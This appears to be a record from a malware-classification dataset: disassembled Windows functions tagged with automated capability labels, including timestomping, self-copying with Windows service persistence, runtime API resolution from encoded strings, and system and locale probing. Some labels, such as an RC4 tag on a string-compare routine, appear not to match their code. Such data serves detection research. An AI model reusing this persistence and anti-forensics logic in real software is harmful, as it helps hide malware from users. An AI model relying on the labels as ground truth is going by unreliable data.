joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405522
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
xor esi, esi
push edi
push esi
push 0x20
push 3
push esi
push 1
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, esi
je 0x4055fa
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push esi
call fcn.004047b6
push 0x3c
xor edx, edx
pop ecx
div ecx
push esi
mov word [ebp - 0xe], dx
call fcn.004047b6
pop ecx
xor edx, edx
pop ecx
push 0x18
pop ecx
div ecx
sub word [ebp - 0x10], dx
cmp word [ebp - 0x10], si
jg 0x405588
add word [ebp - 0x10], cx
dec word [ebp - 0x12]
push esi
call fcn.004047b6
pop ecx
xor edx, edx
push 0x1c
pop ecx
div ecx
sub word [ebp - 0x12], dx
cmp word [ebp - 0x12], si
jg 0x4055b2
push esi
call fcn.004047b6
pop ecx
xor edx, edx
push 3
pop ecx
div ecx
mov word [ebp - 0x12], dx
push esi
call fcn.004047b6
pop ecx
xor edx, edx
push 0xc
pop ecx
div ecx
sub word [ebp - 0x16], dx
cmp word [ebp - 0x16], si
jg 0x4055d2
add word [ebp - 0x16], cx
dec word [ebp - 0x18]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
leave
ret

Function at 0x4055fe
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push ebx
push esi
push edi
push 1
pop ebx
push ebx
call fcn.004047b6
mov esi, 0x104
xor edi, edi
push esi
push edi
push 0x4937ec
call fcn.004076f0
push esi
push edi
push 0x4936e8
call fcn.004076f0
push esi
push edi
push 0x4935e4
call fcn.004076f0
push esi
push edi
push 0x4934e0
call fcn.004076f0
push esi
push edi
push 0x4933dc
call fcn.004076f0
add esp, 0x40
push 0x40f0d0
push 0x2266
push 0x40f0d4
call fcn.00403634
push 0x4938f8
call fcn.00402680
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetVersion]
and eax, 0x80000000
mov dword [0x493900], edi
mov dword [0x4938f0], eax
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x94], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x90], 5
jne 0x4056be
cmp dword [ebp - 0x8c], ebx
jne 0x4056be
mov dword [0x493900], ebx
call fcn.00404a18
mov esi, 0x7d000
push esi
call fcn.00407f8f
cmp eax, edi
pop ecx
mov dword [0x4933d8], eax
jne 0x4056dc
xor eax, eax
jmp 0x405700
push esi
push edi
push eax
call fcn.004076f0
call fcn.004057be
push ebx
push str.__n___f_F
call fcn.0040347e
push eax
push edi
call fcn.00405449
add esp, 0x1c
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4057be
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push ebp
push esi
push edi
push 2
push str._6__b_
call fcn.0040347e
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop ecx
pop ecx
push eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, eax
test ebp, ebp
mov edi, str.B__4
je 0x405823
push 1
push edi
call fcn.0040347e
pop ecx
pop ecx
push eax
push ebp
call esi
push 4
push edi
mov dword [0x493908], eax
call fcn.0040347e
pop ecx
pop ecx
push eax
push ebp
call esi
push 5
push edi
mov dword [0x493904], eax
call fcn.0040347e
pop ecx
pop ecx
push eax
push ebp
call esi
mov dword [0x49390c], eax
push 3
push str._6__b_
call fcn.0040347e
pop ecx
pop ecx
push eax
call ebx
mov ebp, eax
test ebp, ebp
je 0x40584d
push 3
push edi
call fcn.0040347e
pop ecx
pop ecx
push eax
push ebp
call esi
mov dword [0x493910], eax
mov edi, str._b4:4:_
push edi
call ebx
mov ebx, eax
test ebx, ebx
je 0x40586e
push 1
push edi
call fcn.0040347e
pop ecx
pop ecx
push eax
push ebx
call esi
mov dword [0x493914], eax
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x405b0f
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
push esi
lea ecx, [ebp - 0x18]
call fcn.0040174b
and dword [ebp - 4], 0
lea eax, [ebp - 8]
push 1
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x18]
call fcn.0040174e
mov esi, eax
test esi, esi
je 0x405bd3
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x11c]
push eax
push dword [ebp + 8]
call fcn.004078bb
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00407760
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00407760
and byte [ebp - 0x21b], 0
lea eax, [ebp - 0x21f]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00407760
lea eax, [ebp - 0x11c]
push 0x4101dc
push eax
call fcn.00407760
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push esi
call fcn.0040756c
mov esi, eax
add esp, 0x40
test esi, esi
lea ecx, [ebp - 0x18]
jne 0x405bd7
call fcn.00401808
xor eax, eax
jmp 0x405c2b
call fcn.00401808
push dword [ebp - 4]
lea eax, [ebp - 0x11c]
push esi
push eax
call fcn.00403dc6
push esi
call fcn.00407beb
add esp, 0x10
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.004047e2
pop ecx
test eax, eax
pop ecx
je 0x405c29
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x11c]
push eax
call fcn.00403f05
pop ecx
push 1
pop esi
mov eax, esi
pop esi
leave
ret

Function at 0x406106
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
and byte [ebp - 0x10c], 0
push ebx
lea eax, [ebp - 0x10c]
push 0x104
push eax
push 1
push str.xt_D
call fcn.0040347e
pop ecx
pop ecx
push eax
push 0x410252
push closesocket
call fcn.004045ef
lea eax, [ebp - 0x10c]
push eax
call fcn.00405ec6
movsx eax, byte [ebp - 0x10c]
mov bl, byte [ebp - 0x10a]
push eax
call fcn.00407ace
add esp, 0x1c
and dword [ebp - 8], 0
mov byte [ebp - 1], al
mov al, byte [ebp - 8]
add al, 0x61
cmp al, byte [ebp - 1]
je 0x4061b0
and byte [ebp - 0x10a], 0
mov byte [ebp - 0x10c], al
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
mov byte [ebp - 0x10a], bl
jne 0x4061b0
push dword [ebp + 8]
lea eax, [ebp - 0x10c]
push 0x4060ae
push eax
call fcn.00403f1c
add esp, 0xc
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x1a
jl 0x40616a
xor eax, eax
pop ebx
leave
ret 4
Function at 0x406dfd
Capabilities:
Copy file
Create service
Persist via windows service
Set file attributes
Start service

Disassembly:
mov eax, 0x2384
call fcn.00407f60
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x14]
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, 0x4935e4
push 0x20
push esi
call edi
push ebx
lea eax, [esp + 0x18]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x20
push esi
mov dword [esp + 0x18], eax
call edi
cmp dword [esp + 0x10], ebx
je 0x406ea0
push 0x227a
lea eax, [esp + 0x11c]
push 0x40f0c0
push eax
call fcn.00407c00
lea eax, [esp + 0x124]
mov byte [esp + 0x1138], bl
push eax
push esi
call fcn.00405705
push 0x15000
push esi
call fcn.00404fc5
push ebx
call fcn.004047b6
xor edx, edx
mov ecx, 0x2800
div ecx
add edx, 0x15200
push edx
push esi
call fcn.0040406e
add esp, 0x28
push esi
call fcn.00405522
pop ecx
push 0x27
push esi
call edi
cmp dword [0x4938f0], ebx
mov edi, 0x4933dc
je 0x406efe
push esi
push edi
push 0x4934e0
push closesocket
call fcn.0040464b
push 1
push str._6__b_
call fcn.0040347e
add esp, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
push str.B__4
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x406ef7
push 1
push ebx
call eax
push ebp
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [esp + 0x10], ebx
jne 0x406f08
xor eax, eax
jmp 0x406f7d
cmp dword [0x4938f0], ebx
je 0x406f1b
push ebx
push esi
call fcn.004047e2
pop ecx
pop ecx
jmp 0x406f7a
cmp dword [0x4938f8], ebx
jne 0x406f7a
mov ebp, dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 2
push ebx
push ebx
call ebp
push ebx
push ebx
push ebx
push ebx
push ebx
push esi
push ebx
push 2
push 0x110
push ebx
push edi
push edi
push eax
mov dword [esp + 0x44], eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
push dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push 1
push ebx
push ebx
call ebp
mov ebp, eax
push 0x10
push edi
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push edi
call esi
push ebp
call esi
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2384
ret
Function at 0x40693c
Capabilities:
Get common file path
Set current directory

Disassembly:
push ebx
push esi
add esp, 0xfffffbe4
mov esi, edx
mov ebx, eax
test bl, bl
je 0x40697e
movzx eax, bl
add ax, 0x41
dec eax
mov word [esp], ax
mov word [esp + 2], 0x3a
mov word [esp + 4], 0
lea eax, [esp + 0x212]
push eax
push 0x105
call sub.kernel32.dll_GetCurrentDirectoryW
push esp
call sub.kernel32.dll_SetCurrentDirectoryW
lea eax, [esp + 8]
push eax
push 0x105
call sub.kernel32.dll_GetCurrentDirectoryW
test bl, bl
je 0x40699e
lea eax, [esp + 0x212]
push eax
call sub.kernel32.dll_SetCurrentDirectoryW
mov eax, esi
lea edx, [esp + 8]
mov ecx, 0x105
call fcn.0040b830
add esp, 0x41c
pop esi
pop ebx
ret

Function at 0x406bc0
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffdf4
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.0040aae0
test esi, esi
jne 0x406bf6
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameW
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.0040ac68
jmp 0x406c14
call sub.kernel32.dll_GetCommandLineW
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00406b04
mov edi, eax
test esi, esi
je 0x406c14
cmp dword [ebx], 0
je 0x406c14
dec esi
jmp 0x406bfd
add esp, 0x20c
pop edi
pop esi
pop ebx
ret
Function at 0x409810
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov edi, edx
mov esi, eax
mov ebp, dword [esi + 0x10]
mov eax, esi
call fcn.00409bf4
mov byte [esp], al
cmp byte [esp], 0
jne 0x40999a
test edi, edi
je 0x40999a
mov byte [esp + 1], 0
test ebp, ebp
jle 0x4098da
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
xor eax, eax
mov dword [esp + 0xc], eax
test ebp, ebp
jle 0x4098b5
cmp edi, 0xffffffff
je 0x409875
call sub.kernel32.dll_GetTickCount
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x409875
mov byte [esp], 0
jmp 0x40999a
mov ebx, dword [esi]
cmp ebx, 1
jg 0x4098b5
test ebx, ebx
jne 0x4098a7
xor eax, eax
mov edx, 1
lock cmpxchg dword [esi], edx
test eax, eax
jne 0x4098a7
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
mov byte [esp], 1
jmp 0x40999a
lea eax, [esp + 0xc]
call fcn.004094f0
dec ebp
test ebp, ebp
jg 0x40985a
cmp edi, 0xffffffff
je 0x4098da
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x4098d8
mov byte [esp], 0
jmp 0x40999a
sub edi, eax
mov ebx, dword [esi]
test ebx, ebx
je 0x40981e
lea edx, [ebx + 2]
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x4098da
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
mov eax, esi
call fcn.00409a08
mov edx, eax
mov ebx, dword [0x6138fc]
mov ecx, edi
xor eax, eax
call dword [ebx + 0x10]
test eax, eax
sete byte [esp]
cmp edi, 0xffffffff
je 0x40993e
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
jbe 0x40993c
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
sub edi, eax
jmp 0x40993e
xor edi, edi
cmp byte [esp], 0
je 0x409964
mov ebx, dword [esi]
test bl, 1
jne 0x40997a
mov edx, ebx
sub edx, 2
or edx, 1
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x409944
mov byte [esp + 1], 1
jmp 0x40997a
mov ebx, dword [esi]
mov edx, ebx
sub edx, 2
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x409964
mov byte [esp + 1], 1
cmp byte [esp + 1], 0
je 0x4098f1
cmp byte [esp], 0
je 0x40999a
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
movzx eax, byte [esp]
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x40a740
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x61305c], 0
je 0x40a7a7
cmp word [0x613348], 0xd7b2
jne 0x40a769
cmp dword [0x613350], 0
jbe 0x40a769
mov eax, 0x613344
call dword [0x613360]
push 0
lea eax, [esp + 4]
push eax
push 0x1d
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
mov eax, 0x40a7d4
call fcn.0040b3e4
push eax
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x609032], 0
jne 0x40a7c3
push 0
push 0x6099ea
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x40a9a0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov edi, dword [ebp + 0x10]
cmp dword [0x609034], 0
je 0x40a9cb
mov edx, edi
mov eax, esi
call dword [0x609034]
mov ebx, eax
jmp 0x40a9dc
mov eax, 8
call fcn.00406764
mov ebx, eax
mov dword [ebx], esi
mov dword [ebx + 4], edi
mov byte [0x61305d], 1
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
push ebx
mov eax, 0x40a968
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CreateThread
mov esi, eax
test esi, esi
jne 0x40aa0c
mov eax, ebx
call fcn.00406780
mov eax, esi
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 0xc

Function at 0x40d324
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe98
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x160], ecx
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0x168], ecx
mov dword [ebp - 4], edx
mov esi, eax
xor eax, eax
push ebp
push 0x40d489
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.0040aae0
cmp si, word [0x609a28]
jb 0x40d3bc
cmp si, word [0x609c28]
ja 0x40d3bc
mov edi, 0x40
xor eax, eax
mov dword [ebp - 8], eax
cmp edi, dword [ebp - 8]
jb 0x40d3bc
mov ebx, edi
add ebx, dword [ebp - 8]
shr ebx, 1
cmp si, word [ebx*8 + 0x609a28]
jae 0x40d396
mov edi, ebx
dec edi
jmp 0x40d3b7
cmp si, word [ebx*8 + 0x609a28]
jbe 0x40d3a6
inc ebx
mov dword [ebp - 8], ebx
jmp 0x40d3b7
mov edx, dword [ebp - 4]
mov eax, dword [ebx*8 + 0x609a2c]
call fcn.0040d244
jmp 0x40d3bc
cmp edi, dword [ebp - 8]
jae 0x40d380
mov eax, dword [ebp - 4]
cmp dword [eax], 0
jne 0x40d46b
push 2
movzx eax, si
push eax
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x40d46b
push 0x55
lea eax, [ebp - 0xb2]
push eax
push 0x59
movzx ebx, si
push ebx
call sub.kernel32.dll_GetLocaleInfoW
push 0x55
lea eax, [ebp - 0x15c]
push eax
push 0x5a
push ebx
call sub.kernel32.dll_GetLocaleInfoW
lea eax, [ebp - 0x160]
lea edx, [ebp - 0xb2]
mov ecx, 0x55
call fcn.0040b830
push dword [ebp - 0x160]
push 0x40d4a4
lea eax, [ebp - 0x164]
lea edx, [ebp - 0x15c]
mov ecx, 0x55
call fcn.0040b830
push dword [ebp - 0x164]
push 0x40d4b4
lea eax, [ebp - 0x168]
lea edx, [ebp - 0xb2]
mov ecx, 0x55
call fcn.0040b830
push dword [ebp - 0x168]
mov eax, dword [ebp - 4]
mov edx, 5
call fcn.0040ba68
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d490
lea eax, [ebp - 0x168]
mov edx, 3
call fcn.0040ab40
ret
Function at 0x40d63c
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40d740
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x615b8c
call sub.kernel32.dll_EnterCriticalSection
cmp bx, word [0x615ba4]
jne 0x40d688
mov eax, esi
mov edx, 0x615ba6
mov ecx, 0x55
call fcn.0040b830
push 0x615b8c
call sub.kernel32.dll_LeaveCriticalSection
jmp 0x40d72a
push 0x615b8c
call sub.kernel32.dll_LeaveCriticalSection
mov eax, esi
call fcn.0040aae0
push 2
movzx eax, bx
push eax
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x40d6f7
cmp byte [0x615b88], 0
je 0x40d6bc
mov edx, esi
mov eax, ebx
call fcn.0040d520
jmp 0x40d6f7
mov edx, esi
mov eax, ebx
call fcn.0040d324
call sub.kernel32.dll_GetSystemDefaultUILanguage
cmp bx, ax
je 0x40d6f7
cmp dword [esi], 0
je 0x40d6e0
mov eax, esi
mov edx, 0x40d758
call fcn.0040b988
call sub.kernel32.dll_GetSystemDefaultUILanguage
lea edx, [ebp - 4]
call fcn.0040d324
mov edx, dword [ebp - 4]
mov eax, esi
call fcn.0040b988
push 0x615b8c
call sub.kernel32.dll_EnterCriticalSection
mov word [0x615ba4], bx
mov eax, dword [esi]
call fcn.0040b774
mov ecx, eax
mov eax, 0x615ba6
mov edx, 0xaa
call fcn.0040d1a4
push 0x615b8c
call sub.kernel32.dll_LeaveCriticalSection
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d747
lea eax, [ebp - 4]
call fcn.0040aae0
ret
Function at 0x40d970
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde4
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040abc4
xor eax, eax
push ebp
push 0x40db95
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 4], 0
jne 0x40d9b0
push 0x105
lea eax, [ebp - 0x21a]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameW
jmp 0x40d9ca
mov eax, dword [ebp - 4]
call fcn.0040b774
mov ecx, eax
lea eax, [ebp - 0x21a]
mov edx, 0x105
call fcn.0040d1a4
cmp word [ebp - 0x21a], 0
je 0x40db7f
xor eax, eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40dba4
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x40da99
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40dba4
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x40da99
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40dbe0
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x40da99
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40dbe0
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x40da99
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40dc14
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x40da99
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40dc48
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
jne 0x40db7f
xor eax, eax
push ebp
push 0x40db78
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x21a]
mov edx, 0x105
call fcn.0040d780
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x21a]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x40db08
mov eax, dword [ebp - 0x10]
call fcn.00406764
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
push 0
push 0
lea eax, [ebp - 0x21a]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.0040b7dc
jmp 0x40db53
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
push 0x40dc88
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x40db53
mov eax, dword [ebp - 0x10]
call fcn.00406764
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
push 0
push 0
push 0x40dc88
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.0040b7dc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40db7f
cmp dword [ebp - 8], 0
je 0x40db6e
mov eax, dword [ebp - 8]
call fcn.00406780
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40db9c
lea eax, [ebp - 4]
call fcn.0040aae0
ret
Function at 0x40de84
Capabilities:
Get geographical location
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040abc4
xor eax, eax
push ebp
push 0x40df44
push dword fs:[eax]
mov dword fs:[eax], esp
push 4
lea eax, [ebp - 0xc]
push eax
push 3
call sub.kernel32.dll_GetUserDefaultUILanguage
movzx eax, ax
push eax
call sub.kernel32.dll_GetLocaleInfoW
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xc]
mov ecx, 4
call fcn.0040b830
mov ecx, dword [ebp - 0x10]
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.0040b9e0
mov eax, dword [ebx]
call fcn.0040dd4c
test al, al
jne 0x40df21
mov word [ebp - 8], 0
lea eax, [ebp - 0x14]
lea edx, [ebp - 0xc]
mov ecx, 4
call fcn.0040b830
mov ecx, dword [ebp - 0x14]
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.0040b9e0
mov eax, dword [ebx]
call fcn.0040dd4c
test al, al
jne 0x40df21
mov eax, ebx
call fcn.0040aae0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40df4b
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.0040ab40
lea eax, [ebp - 4]
call fcn.0040aae0
ret

Function at 0x40e894
Capabilities:
Get system information on windows

Disassembly:
add esp, 0xffffffdc
push esp
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [esp + 0x14]
add esp, 0x24
ret

Function at 0x42251c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp eax, edx
je 0x422575
test eax, edx
je 0x422578
movzx ecx, word [edx]
cmp cx, word [eax]
je 0x422533
movzx eax, word [eax]
sub eax, ecx
jmp 0x42255a
push ebx
mov ebx, dword [eax - 4]
xor ecx, ecx
sub ebx, dword [edx - 4]
push ebx
adc ecx, 0xffffffff
and ecx, ebx
sub ecx, dword [eax - 4]
shl ecx, 1
sub eax, ecx
sub edx, ecx
mov ebx, dword [ecx + eax]
xor ebx, dword [ecx + edx]
jne 0x42255b
add ecx, 4
js 0x42254b
pop eax
pop ebx
ret
bsf ebx, ebx
shr ebx, 4
add ebx, ebx
add ecx, ebx
jns 0x422558
movzx eax, word [ecx + eax]
movzx edx, word [ecx + edx]
sub eax, edx
pop ebx
pop ebx
jmp 0x42255a
xor eax, eax
ret
test eax, eax
je 0x422584
test edx, edx
jne 0x422524
mov eax, dword [eax - 4]
ret
sub eax, dword [edx - 4]
ret

Function at 0x423910
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
push 0
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp + 8]
push eax
mov eax, dword [esi]
add eax, edi
push eax
push ebx
call sub.kernel32.dll_ReadFile_1
test eax, eax
jne 0x42393d
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 4